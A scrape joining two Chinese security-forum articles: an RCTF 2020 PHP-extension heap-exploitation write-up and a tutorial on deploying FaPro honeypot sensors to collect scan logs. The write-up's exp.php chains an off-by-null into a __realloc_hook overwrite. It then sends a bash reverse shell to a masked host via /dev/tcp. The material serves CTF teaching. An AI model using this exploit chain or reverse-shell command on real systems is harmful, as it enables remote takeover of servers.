这道题目是和队里师傅`fdt`一起做的，web部分我不清楚，看大佬发的wp大概意思是可以任意文件读并且执行php函数，得到了远程libc为2.27，以及php的版本，DE1CTF的时候和`Sndav`大佬做了一道栈类型的php-pwn，套路都差不多，给一个扩展库的.so文件，是非常典型的堆菜单题，有`alloc/free/edit/show`。其中edit里的strcpy可以off-by-null，另外有个后门，只要我们覆写`__realloc_hook`，就可以去执行任意命令。
void __cdecl zif_ttt_edit(zend_execute_data *execute_data, zval *return_value)
{
char *content; // [rsp+20h] [rbp-10h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
content = 0LL;
if ( (unsigned int)zend_parse_parameters(execute_data->This.u2.next, "sl", &content) )
{
php_printf("Edit Argument Error.n");
return_value->u1.type_info = 1;
}
else if ( my_ext_globals.notes[0] )
{
strcpy(my_ext_globals.notes[0], content); // off-by-null
}
else
{
php_printf("idx: %d, ptr:%p");
php_printf("Index Errorn");
return_value->u1.type_info = 1;
}
}
//
void __cdecl zif_ttt_backdoor(zend_execute_data *execute_data, zval *return_value)
{
void *(*volatile v2)(void *, size_t, const void *); // rdx
__int64 noteidx; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(execute_data->This.u2.next, "l", ¬eidx) )
{
php_printf("ARGS ERROR.n");
return_value->u1.type_info = 1;
}
else
{
v2 = _realloc_hook;
if ( v2 == (void *(*volatile )(void *, size_t, const void *))'tinwpttt' )// tttpwnit
{
php_printf("get shell %d.n");
system(my_ext_globals.notes[noteidx]);
}
}
}
### 漏洞利用
首先得搭建本地的调试环境，远程应该是apache起的php，我本地无法完全模拟，只能用目标版本的php进行近似模拟。这里我参考的是[WEBPWN入门级调试讲解](https://www.anquanke.com/post/id/204404)，原文作者讲的很详细，在把扩展库文件放到指定目录并修改配置文件后就可以加载这个库了，直接`gdb
php`，因为有符号所以直接用函数名下断点就好，`set args ./pwn.php`设置输入文件。
利用方面，我们使用`strcpy`的`off-by-null`构造chunk
overlapping，泄露libc，然后UAF分配到`__realloc_hook`写。
这里有一些需要注意的地方，edit因为只能使用strcpy我们在覆写fd之后需要几次strcpy来还原chunk的size部分。此外考虑到远程的条件更为复杂，我们先将用到的堆块进行多次分配使用完毕堆中的空闲堆块，使得堆布置成我们理想的状态。分配堆块使用的是calloc，我们不能选择太大的堆块，否则会破坏realloc_hook后面不远处的main_arena+88处的top_chunk，可能引起崩溃，但是堆块太小似乎又有可能被其他进程迅速拿走(这里不确定)，我们选择尽量大一点的来进行UAF。
### exp.php
function rev_hex($input) {
$e = strlen($input) - 2;
$r = '';
while ($e >= 0) {
$r .= $input[$e] . $input[$e+1];
$e -= 2;
}
return $r;
}
for($i=0;$i<8;$i++){
ttt_alloc(0,0x3f0);
ttt_alloc(1,0x3f0);
ttt_alloc(2,0x70);
ttt_alloc(3,0x80);
ttt_alloc(4,0x300);
}
$data=str_repeat("a",0x400);
unset($data);
//$data1=str_repeat("a",0x3e8);
$data1=str_repeat("a",0x88);
//get shell
//0x7ffff5fe9c28:realloc_hook
for($i=0;$i<8;$i++){
ttt_alloc($i,0x3f0);
}
ttt_alloc(8,0x78);
ttt_alloc(9,0x88);
ttt_alloc(10,0x3f0);
ttt_alloc(11,0x3f0);
for($i=0;$i<7;$i++){
ttt_free($i);
}
//start:7
//off-by-one change the prev_in_use
ttt_edit($data1,9);
unset($data1);
$arr=array();
//initial
for($i=0;$i<6;$i++){
$arr[$i]=str_repeat(chr($i+0x30),0x87-$i);
}
for($i=0;$i<6;$i++){
ttt_edit($arr[$i],9);
}
$data2=str_repeat("a",0x80);
$data2.=chr(0x10).chr(0x05);
ttt_edit($data2,9);
ttt_free(7);
ttt_free(9);
ttt_free(10);
//use tcache
for($i=0;$i<8;$i++){
ttt_alloc($i,0x3f0);
}
$addr=ttt_show(8);
var_dump(bin2hex($addr));
$int_addr=hexdec(rev_hex(bin2hex($addr)))-0x80;
var_dump((rev_hex(dechex($int_addr))));
$after_addr=(hex2bin(rev_hex(dechex($int_addr))));
$data3=str_repeat("b",0x80);
$data3.=$after_addr;
echo $data3;
ttt_alloc(9,0x300);
ttt_edit($data3,9);
//overwrite
for($i=0;$i<6;$i++){
$arr[$i]=str_repeat(chr($i+0x30),0x7f-$i);
}
for($i=0;$i<5;$i++){
ttt_edit($arr[$i],9);
}
ttt_hint();
$data4=str_repeat("b",0x78);
////0x7ffff5fe9c28
$data4.=chr(0x91);
ttt_edit($data4,9);
ttt_alloc(13,0x80);
ttt_alloc(14,0x80);
$payload="tttpwnit";
$payload.=$payload;
ttt_edit($payload,14);
$exp="/bin/bash -c 'bash -i >/dev/tcp/*.*.*.*/12345 0>&1'";
ttt_edit($exp,13);
ttt_backdoor(13);
'''
## 参考
[RCTF 2020 WP](http://q1iq.top/RCTF-wp/)
[RCTF官方writeup](https://blog.rois.io/2020/rctf-2020-official-writeup/) | 社区文章 |
## 简介
随着网络越来越发达，网络中的各种流量也不断增多，搜索引擎，测绘引擎，恶意扫描探测，网络蠕虫等会不断扫描公网服务器以完成自身的目的。
这一系列教程介绍如何一步步搭建一个针对网络扫描的分析平台，以分析识别各种扫描流量。
找到是哪些ip在进行扫描？ 这些扫描的目的是什么？
现阶段的实现效果如下:
[示例网站](https://faweb.fofa.so/)
本篇为系列第一篇: **如何搭建分布式的扫描日志收集系统**
## 技术选型
收集扫描日志要做到不被扫描器发现识别为蜜罐，并且提供简单的部署方式，方便扩展和启停，最好占用较少的系统资源，这样可以节约日志收集节点的费用和维护成本。
扫描日志收集节点最好分布在各个国家，这样观测点会更全面。
最终选择使用[FaPro](https://github.com/fofapro/fapro/)， **免费、跨平台、单文件部署的网络协议服务端模拟器**
，可以轻松启停多个网络服务。
更多详情，请[查看官网介绍](https://github.com/fofapro/fapro/blob/master/README-CN.md)。
通过FaPro在全球多个国家部署扫描日志收集器，可以针对每个日志收集节点开启不同的服务，模拟正常的设备，防止被扫描器识别、发现。
FaPro占用资源较少，1核1G最低配置的云服务器就可以满足需求，节约节点成本。
日志存储使用[Elasticsearch](https://www.elastic.co/guide/index.html)，方便日志检索与分析。
自动化部署与监控使用[ansible](https://docs.ansible.com/)，方便批量部署日志收集节点。
## 准备工具
linux服务器若干台(最低配置即可)，用于放置扫描数据收集器(FaPro)，最好是分布在不同区域的服务器，这样观测点会更全面，关闭现有服务器上的所有服务端口,避免收集的日志记录被干扰。
日志存储服务器，采用Elasticsearch进行日志存储与分析, 建议8G内存+200G存储，或者直接使用云服务商的Elastic服务。
本地安装ansible，用于批量部署扫描数据收集节点。示例中的本地环境使用ubuntu系统，如果使用其它系统，请参考ansible文档进行修改。
## 配置设置
### 本地ansible的配置
设置.ssh/config中host，添加每台服务器的配置项:
Host sensor01 #主机名
HostName x.x.x.x #你的ip地址
Port 22
User root
Host dbserver
HostName 1.2.3.4
Port 22
User root
如果使用秘钥认证，使用ssh-add 添加私钥，在终端中使用ssh dbserver应该可以登录服务器。
修改~/.ansible.cfg配置文件:
[defaults]
gather_timeout = 60
inventory = $HOME/hosts.ini
private_key_file = $HOME/private_key.pem # private key file
修改~/hosts.ini指定主机组:
[sensors] #日志收集器的服务器列表,对应.ssh/config中的主机名
sensor01
sensor02
sensor03
[dbs]
dbserver
克隆FaPro, 使用自动化配置脚本：
git clone https://github.com/fofapro/fapro
# 进入scripts文件夹, 使用相关的脚本及配置
cd scripts
### 日志服务器的配置
使用docker搭建ELK服务，日志存储服务器上安装docker以及docker-compose
复制docker-compose.yml到日志存储服务器，
修改ELASTIC_PASSWORD设置项的密码，根据需要修改公网映射的端口，
修改network.publish_host为日志存储服务器的公网ip,防止公网访问失败。
然后使用docker-compose启动ELK服务:
docker-compose up -d
做好防火墙配置，确保所有sensor服务器都可以访问es服务器。
### 扫描数据收集节点的配置
每个收集节点使用单独的配置文件，并且开启不同的服务，用于模拟真实设备。
设置fapro的配置文件，每个配置的文件名与主机名相同，比如sensor01.json:
{
"version": "0.40",
"network": "127.0.0.1/32",
"network_build": "localhost",
"hostname": "sensor01",
"use_logq": true,
"storage": "es://http://elasticsearch:9200",
"cert_name": "unknown",
"exclusions": ["1.1.1.1"],
"syn_dev": "any",
"hosts": [
{
"ip": "0.0.0.0",
"handlers": [
{
"handler": "ftp",
"port": 21,
"params": {
"accounts": [
"ftp:123456"
],
"welcome_message": "ProFTPD Server (ProFTPD)"
}
}
]
}
],
"templates": null
}
exclusions里可以加上es服务器的ip地址，不记录es服务器ip的日志。
下载最新版本fapro到本地,保存为fapro.tgz:
wget https://github.com/fofapro/fapro/releases/latest/download/fapro_linux_x86_64.tar.gz -O fapro.tgz
tar xvzf fapro.tgz
针对web服务，需要进行网站克隆，首先安装chrome浏览器和chromedriver,然后执行dumpWeb,比如针对bing.com:
./fapro dumpWeb -u https://www.bing.com -a bing
[WebDumper] dump https://www.bing.com to webapps/bing over.
如果要模拟一个路由器，可以使用[fofa](https://fofa.so/)搜索路由器，找到一个相应的目标，再把登录页面克隆下来。
可以使用自动化配置代码中的ipclone.py脚本，直接从fofa复制ip服务配置:
使用方式,先设置FOFA_EMAIL和FOFA_KEY环境变量,下载好fapro, 然后运行:
# 查看使用帮助
./ipclone.py -h
./ipclone.py -i xx.xx.xx.xx -n sensor01
确保每个sensor服务器都有一个对应的配置文件，然后使用ansible配置所有sensor服务器:
ansible-playbook update_sensor.yml
# 或者指定只更新某些服务器,比如只配置sensor01和sensor02
ansible-playbook -l sensor01,sensor02 update_sensor.yml
sensor服务器的FaPro版本更新:
下载最新版的FaPro,重新执行update_sensor.yml即可
## 结果监控
### kibana查看日志收集效果
创建一个host.keyword的柱状图，可以查看每个sensor的日志收集量:
## sensor监控
使用ansible对sensor运行状况进行监控，如果服务意外停止，则重新启动。
ansible-playbook check.yml
可以添加到crontab中定时执行。
或者自行搭建zabbix监控体系。
## 结语
至此，扫描日志收集平台已经搭建完毕，下一步就是对收集的日志进行分析，找到感兴趣的目标。
下一篇文章会介绍如何对收集的日志进行分析，归类。 | 社区文章 |
Subsets and Splits